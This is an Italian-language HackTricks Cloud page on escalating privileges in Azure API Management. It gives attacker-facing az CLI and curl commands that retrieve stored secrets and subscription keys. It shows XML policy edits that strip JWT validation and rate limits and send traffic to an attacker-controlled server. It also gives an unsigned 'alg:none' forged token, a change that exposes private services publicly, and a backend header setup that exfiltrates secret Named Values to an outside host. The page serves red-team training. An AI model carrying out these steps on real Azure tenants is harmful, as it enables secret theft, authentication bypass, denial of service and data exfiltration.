Az - API Management Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Microsoft.ApiManagement/service/namedValues/read & Microsoft.ApiManagement/service/namedValues/listValue/action
Lâattacco consiste nellâaccedere a segreti sensibili memorizzati in Azure API Management Named Values, sia recuperando direttamente i valori dei segreti sia abusando delle autorizzazioni per ottenere segreti supportati da Key Vault tramite managed identities.
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
Microsoft.ApiManagement/service/subscriptions/read & Microsoft.ApiManagement/service/subscriptions/listSecrets/action
Per ogni subscription lâattaccante può ottenere le subscription keys usando lâendpoint listSecrets con il metodo POST:
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
La risposta include la subscription primary key (primaryKey) e la secondary key (secondaryKey). Con queste chiavi, lâattaccante può autenticarsi e accedere alle API pubblicate tramite lâAPI Management Gateway:
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
Lâattaccante può accedere a tutte le API e ai prodotti associati alla sottoscrizione. Se la sottoscrizione ha accesso a prodotti o API sensibili, lâattaccante può ottenere informazioni riservate o eseguire operazioni non autorizzate.
Microsoft.ApiManagement/service/policies/write or Microsoft.ApiManagement/service/apis/policies/write
Lâattaccante recupera prima la policy dellâAPI corrente:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
Lâattaccante può modificare la policy in diversi modi a seconda dei suoi obiettivi. Ad esempio, per disabilitare lâautenticazione, se la policy include JWT token validation, lâattaccante può rimuovere o commentare quella sezione:
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
Per rimuovere i controlli di rate limiting e consentire denial-of-service attacks, lâattacker può rimuovere o commentare quota and rate-limit policies:
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
Per modificare la backend route e reindirizzare il traffico verso un server controllato dallâattacker:
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
Lâattaccante applica quindi la policy modificata. Il corpo della richiesta deve essere un oggetto JSON contenente la policy in formato XML:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
JWT Validation Misconfiguration
Lâattaccante deve sapere che unâAPI utilizza la validazione dei JWT token e che la policy è configurata in modo errato. Le policy di validazione JWT configurate in modo errato possono avere require-signed-tokens="false" o require-expiration-time="false", il che permette al servizio di accettare unsigned tokens o token che non scadono mai.
Lâattaccante crea un JWT token malevolo usando lâalgoritmo none (unsigned):
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
Lâattaccante invia una richiesta allâAPI usando il token malevolo:
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
Se la policy è configurata male con require-signed-tokens="false", il servizio accetterĂ il token non firmato. Lâattaccante può anche creare un token senza una claim di scadenza se require-expiration-time="false".
Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action
Lâattaccante verifica prima la configurazione di rete corrente del servizio:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
Lâattaccante esamina la risposta JSON per verificare i valori di publicNetworkAccess e virtualNetworkType. Se publicNetworkAccess è impostato su false o virtualNetworkType è impostato su Internal, il servizio è configurato per accesso privato.
Per esporre il servizio su Internet, lâattaccante deve modificare entrambe le impostazioni. Se il servizio è in modalitĂ internal (virtualNetworkType: "Internal"), lâattaccante lo imposta su None o External e abilita lâaccesso alla rete pubblica. Questo può essere fatto usando lâAzure Management API:
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
Una volta che virtualNetworkType è impostato su None o External e publicNetworkAccess è abilitato, il servizio e tutte le sue API diventano accessibili da Internet, anche se in precedenza erano protetti dietro una rete privata o endpoint privati.
Microsoft.ApiManagement/service/backends/write
Lâattaccante prima elenca i backends esistenti per identificare quale modificare:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
Lâattaccante recupera la configurazione corrente del backend che desidera modificare:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
Lâattaccante modifica lâURL del backend per puntare a un server sotto il suo controllo. Per prima cosa ottiene lâETag dalla risposta precedente e poi aggiorna il backend:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
In alternativa, lâattaccante può configurare i backend headers per exfiltrate i Named Values contenenti segreti. Questo avviene tramite la backend credentials configuration:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
Con questa configurazione, i Named Values vengono inviati come header in tutte le richieste verso lâattacker-controlled backend, consentendo lâexfiltration di sensitive secrets.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

